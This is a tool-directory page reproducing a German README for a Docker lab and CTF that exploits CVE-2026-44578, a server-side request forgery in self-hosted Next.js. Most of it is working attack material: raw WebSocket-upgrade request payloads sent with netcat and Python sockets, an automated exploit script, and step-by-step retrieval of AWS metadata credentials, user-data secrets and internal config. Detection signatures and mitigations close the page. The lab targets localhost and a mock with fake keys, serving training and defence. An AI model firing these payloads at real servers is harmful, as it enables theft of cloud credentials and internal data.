Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-44578-next-js-ssrf — este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah | Kitploit
Tools/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsCloud-SicherheitLabs & Praxis
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah

Repository anzeigen
vor 11h 46mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-44578 — Next.js WebSocket Upgrade SSRF (Labor)

Autarkes Labor zur Reproduktion der Schwachstelle CVE-2026-44578 (CWE-918, SSRF) in selbst gehosteten Next.js-Anwendungen, die den integrierten Node.js-Server verwenden.

FeldWert
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TypSSRF (CWE-918)
Betroffene VersionenNext.js 13.4.13 – 15.5.15 und 16.0.0 – 16.2.4
Gepatchte Versionen15.5.16 und 16.2.5
Authentifizierungkeine
Benutzerinteraktionkeine

Labor-Topologie

root@kitploit:~
Angreifer (Host: 0.0.0.0)
    │  HTTP :3000 (öffentlich)
    ▼
┌──────────────────────────┐  gleicher Netzwerk-Namespace  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (Anmeldedaten,      │
│ (integrierter Node-Server)│                           │  user-data, Index)  │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln (Port 3000): die verwundbare App, exponiert auf 0.0.0.0:3000.
  • imds-sidecar: Mock des AWS-Metadata-Service, der auf localhost:80 innerhalb des Namespace des Next.js-Containers lebt und eine reale Cloud-Instanz modelliert. Vom Host aus nicht direkt erreichbar (kein veröffentlichter Port).
root@kitploit:~
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # Automatisierter PoC (5 Probes)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + geheime Routen
                        └── nextjs-app/             # Realistische App "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # Navbar/Footer
                            │   ├── page.js         # Landing
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (verwundbar)

Warum es verwundbar ist

Der WebSocket-Upgrade-Handler in router-server.ts ruft proxyRequest() auf, wenn der geparste URI parsedUrl.protocol hat, ohne die Flags finished und statusCode zu prüfen, die der normale HTTP-Handler immer gesetzt hat:

root@kitploit:~
  // verwundbar (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // Patch (Commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

Der Angriffspfad nutzt eine Request-Line mit absoluter Doppel-Slash-URI: GET http:///path. normalizeRepeatedSlashes kollabiert http:/// zu http:/, wodurch kein Hostname übrig bleibt, und http-proxy verbindet dann mit localhost:80 unter Beibehaltung des Pfads:

root@kitploit:~
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

Das Vorhandensein der Header Connection: Upgrade + Upgrade: websocket führt dazu, dass die Anfrage in den verwundbaren Upgrade-Handler fällt, statt in den HTTP-Handler mit den Sicherheitsprüfungen.

Labor starten

root@kitploit:~
docker compose up -d --build

Prüfen, ob die App antwortet:

root@kitploit:~
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

Damit es auf 0.0.0.0 läuft, exponiert das Port-Mapping in docker-compose.yml bereits 3000:3000 auf allen Interfaces.

Manuelle Ausnutzung

1. Mit netcat (nc)

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. Mit reinem Python (stdlib, ohne Abhängigkeiten)

root@kitploit:~
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. Mit dem automatisierten PoC

root@kitploit:~
python3 exploit/exploit.py 127.0.0.1 3000

CTF — manuelle Erfassung der finalen Flag

Kompletter 100 % manueller Ablauf in 4 Phasen. Es gibt 4 Flags versteckt im internen Dienst (localhost:80); diese Anleitung zeigt den Ablauf bis zur ersten und überlässt dir die Pfade, um die restlichen zu finden.

Phase 1 — Reconnaissance

root@kitploit:~
# Fingerprint des Servers
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# Offene Ports über Socket (ohne nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

Es gibt keinen direkten Zugriff auf 127.0.0.1:80 vom Angreifer aus: Der einzige Vektor besteht darin, den Next.js-Server (der im selben Netzwerk wie der interne Dienst lebt) für uns anfragen zu lassen.

Phase 2 — Enumeration des Metadata-Service über SSRF

Zuerst bestätigen wir den SSRF, indem wir nach dem Index des Metadata-Service fragen:

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Antwort des Index → Kandidaten: instance-id, hostname, iam/security-credentials/, user-data (erste Flag). Der Index von latest/meta-data/ offenbart auch Sub-Keys, die es sich lohnt weiter zu erkunden.

Phase 3 — Aufbau des Payloads (Byte für Byte)

root@kitploit:~
GET http:///latest/user-data HTTP/1.1
TeilFunktion
GETDie Schwachstelle proxyt nur GET
http:///latest/user-dataAbsolute URI. http:/// kollabiert zu http:/ → Hostname null → der Proxy verbindet mit localhost:80 unter Beibehaltung des Pfads /latest/user-data
Host: 127.0.0.1:3000Sonst antwortet der Server mit 400
Connection: Upgrade + Upgrade: websocketLeiten die Anfrage an den verwundbaren Upgrade-Handler um (der normale HTTP-Handler validiert)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==Mindest-Header, die bei einem legitimen Handshake verlangt werden

Abschluss: \r\n\r\n auf dem Raw-Socket (ohne Body).

Phase 4 — Manueller Auslöser und Erfassung der Flag

root@kitploit:~
# Option A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
root@kitploit:~
# Option B: Raw-Socket in Python (gleiche Präzision, ohne nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

Ausgabe — die erste Flag kommt im Body der Antwort des internen Dienstes:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

Flag 1/4 erhalten. Der Header server: BaseHTTP/0.6 ... (Python-Mock) bestätigt, dass die Anfrage Angreifer → Next.js → localhost:80 gereist ist, d. h. die Flag wurde durch den SSRF aus dem internen Netzwerk exfiltriert. Die anderen 3 sind über Pfade des Metadata-Service und des internen Dienstes verstreut — der Index von latest/meta-data/ ist deine Karte. Finde den Rest.

Im Labor exponierte Endpunkte

Der Fake-IMDS (localhost:80) modelliert den echten AWS-Metadata-Service: Es ist ein navigierbarer Baum. Jedes Verzeichnis (endet auf /) antwortet mit dem Index seiner Unterpfade; ein Verzeichnis ohne / anzufragen, liefert einen 301-Redirect. Es gibt keine versteckten Pfade: Keine Flag erfordert Raten — alles wird durch Navigation der Indizes entdeckt.

root@kitploit:~
/  →  latest/
        ├── meta-data/   → ami-id, hostname, iam/, instance-id, instance-type,
        │                   local-hostname, placement/, public-hostname, tags/
        ├── dynamic/     → instance-identity/
        └── user-data    → Boot-Skript (verweist auf internal/config)
PfadInhalt
latest/meta-data/Index der Metadaten (oben skizziert)
latest/meta-data/iam/security-credentials/Rolle lab-ssrf-role
latest/meta-data/iam/security-credentials/lab-ssrf-roleJSON mit AccessKeyId, SecretAccessKey und Token
latest/user-dataBoot-Skript mit DB-Anmeldedaten
latest/dynamic/instance-identity/documentJSON der Instanzidentität
internal/configKonfiguration eines internen Dienstes (DB, API-Key) — von user-data referenziert

CTF-Herausforderung: Es gibt 4 Flags, und jede ist ein echtes Artefakt der SSRF-Ausnutzungskette gegen AWS: (1) user-data des Boots, (2) IAM-Anmeldedaten, (3) Identity Document, (4) Konfiguration eines internen Dienstes. Ihre Werte sind nicht veröffentlicht. Navigiere die Indizes (/ → latest/ → …) und folge von Banner zu Banner; das user-data-Skript verrät dir, wo die vierte lebt. Es gibt keine Pfade zu erraten: Der 404 verrät dir nur, dass du einen Pfad erfindest, der nicht existiert.

Lösungshinweise (graduelle Spoiler)

Vollständige Version mit der Flag→Flag-Kette in einem eigenen Dokument: SOLUCION.md (jede Flag gibt dir den Hinweis auf die nächste, außerhalb dieses README).

Die Regel: Jede Flag hat einen Hinweis, eine Hürde und die Lösung. Versuche zuerst den Hinweis; nutze die Hürde, wenn du feststeckst. Es gibt keine versteckten Pfade: Nichts ist gefälscht, alles wird navigiert.

Zwei Hinweise vor dem Start:

  1. Der Helfer ssrf() ist bereits fertig in SOLUCION.md → Vorbereitung: Kopiere ihn und nutze ihn für den Rest der Anleitung. Er sendet eine GET http:///<path>-Anfrage mit Connection: Upgrade + Upgrade: websocket.
  2. Die Flags reisen base64-verschlüsselt. In den Antworten siehst du Blobs RkxBR3… (base64 von FLAG{…}). Entschlüssle sie: echo <blob> | base64 -d.

Flag 1 — user-data (die einfachste)

  • Hinweis: Was liefert ein GET auf /latest/user-data? Das ist das Erste, was jeder Angreifer in AWS prüft.
  • Hürde 1 (301-Indizes): Ordner werden mit / am Ende aufgelistet. ssrf latest/meta-data liefert 301 Moved Permanently und Location: latest/meta-data/. = "Folge mir". Mit nc gibt es kein automatisches Folgen: Wiederhole die Anfrage mit dem Slash.
  • Lösung:
root@kitploit:~
ssrf latest/user-data

Im Body: das Boot-Skript mit DB_PASS=… (Flag 1 ist darin enthalten), und eine Zeile curl -s http://internal/config, die die Karte für Flag 4 ist.

Flag 2 — IAM-Anmeldedaten

  • Hinweis: Navigiere latest/meta-data/iam/security-credentials/ und frage die Rolle ab, die erscheint.
  • Hürde 2 (der Token ist kein Füllmaterial): Der 200 bringt ein langes JSON. AccessKeyId/SecretAccessKey springen ins Auge; Flag 2 ist nicht dort: Das Feld Token ist eine einzelne base64-Zeichenkette. Entschlüssle sie.
  • Lösung:
root@kitploit:~
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role

Flag 3 — Identity Document

  • Hinweis: latest/meta-data/ ist nicht der einzige Baum. Schau dir den Root-Index an: Es gibt ein dynamic/, das fast niemand öffnet.
  • Hürde (verkettete Weiterleitung): dynamic/ → instance-identity/ → document. Das sind drei Stufen; bei jeder muss dein ssrf auf / enden (außer document). Leute verlieren sich, weil sie nach dem 301 nicht neu anfragen.
  • Lösung:
root@kitploit:~
ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document

Das Identity-JSON enthält einen Schlüssel FLAG mit Flag 3 (in base64). Wenn deine Befehlsreihe auf der zweiten Stufe 301 zurückgab, behalte die Lektion aus Hürde 1 im Kopf.

Flag 4 — Konfiguration eines internen Dienstes

  • Hinweis: Flag 1 (user-data) hat die Adresse verraten: curl -s http://internal/config.
  • Hürde (was ist "internal"?): Vom Angreifer aus löst internal nicht auf. "internal" ist ein Alias auf der Serverseite, nicht deiner. Du änderst den Host nicht: Der SSRF landet immer auf localhost:80; du wählst nur den Pfad.
  • Lösung:
root@kitploit:~
ssrf internal/config

Verifikation der 4 (base64-Blob → dekodiert):

root@kitploit:~
ssrf latest/user-data        | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config         | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo

4/4 Flags in der Hand. Wenn eine nicht als FLAG{...} herauskommt, weißt du es schon: Prüfe das curl von user-data (Hürde von Flag 4) oder das / der Indizes (Hürde von Flag 1).

Manuelle Nutzung, z. B. IAM-Anmeldedaten:

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Erwartetes Ergebnis — die Antwort kommt mit server: BaseHTTP/0.6 Python/3.12.x (dem Mock), nicht mit dem Next.js-Banner, was beweist, dass die Anfrage vom Server an localhost:80 gestellt wurde:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain

{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}

Ergebnis des PoC

Der PoC verifiziert den SSRF, zensiert aber die Flags: Die base64-Blobs der FLAG{...} und die FLAG{...} im Klartext werden als zensierter Text angezeigt. Die Werte erhält man nur durch manuelle Erkundung (CTF-Abschnitt oben).

root@kitploit:~
--- IAM Creds ---
  HTTP/1.0 200 OK
  {"Code": "Success", ..., "Token": "RkxBR3******** (verschlüsselte Flag: manuelle Ausnutzung) ***"}

--- User Data ---
  HTTP/1.0 200 OK
  #!/bin/bash
  flag=RkxBR3******** (verschlüsselte Flag: manuelle Ausnutzung) ***

Einschränkungen der Schwachstelle

  • Nur GET (kein POST/PUT).
  • Nur Port 80 (der Hostname geht bei der Normalisierung von http:/// verloren).
  • IMDSv2 nicht ausnutzbar (erfordert PUT für das Token).
  • GCP-Metadata nicht ausnutzbar (lehnt Upgrade: websocket mit 400 ab).
  • Vercel-gehostet nicht betroffen.
  • Hinter einem Reverse-Proxy (nginx/Caddy/HAProxy) werden absolute URIs meist blockiert.

Verifikation von "gepatcht"

Um zu bestätigen, dass der Patch (Next.js ≥ 15.5.16) den Angriff blockiert, ändere die Version in nextjs-app/package.json auf 15.5.16, baue neu und führe denselben Payload erneut aus: Die Verbindung wird ohne Datenrückgabe geschlossen.

Erkennung

Signaturen in Logs des Next.js-Prozesses:

  • Failed to proxy http:/ — der Proxy wurde ausgelöst, aber das Ziel war unerreichbar.
  • Anfragen, deren Request-Line eine absolute URI mit http: zusammen mit Connection: Upgrade / Upgrade: websocket-Headern enthält.

Mitigation

  • Aktualisieren auf 15.5.16 / 16.2.5 oder neuer.
  • Falls kein Update möglich: WebSocket-Upgrades im Reverse-Proxy blockieren und IMDSv2 (HttpTokens=required) in AWS anwenden.
  • nginx-Beispiel zum Ablehnen absoluter URIs:
root@kitploit:~
if ($request_uri ~* "^https?://") { return 400; }

Referenzen

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44578
  • GHSA: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Fix-Commit: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Tool herunterladen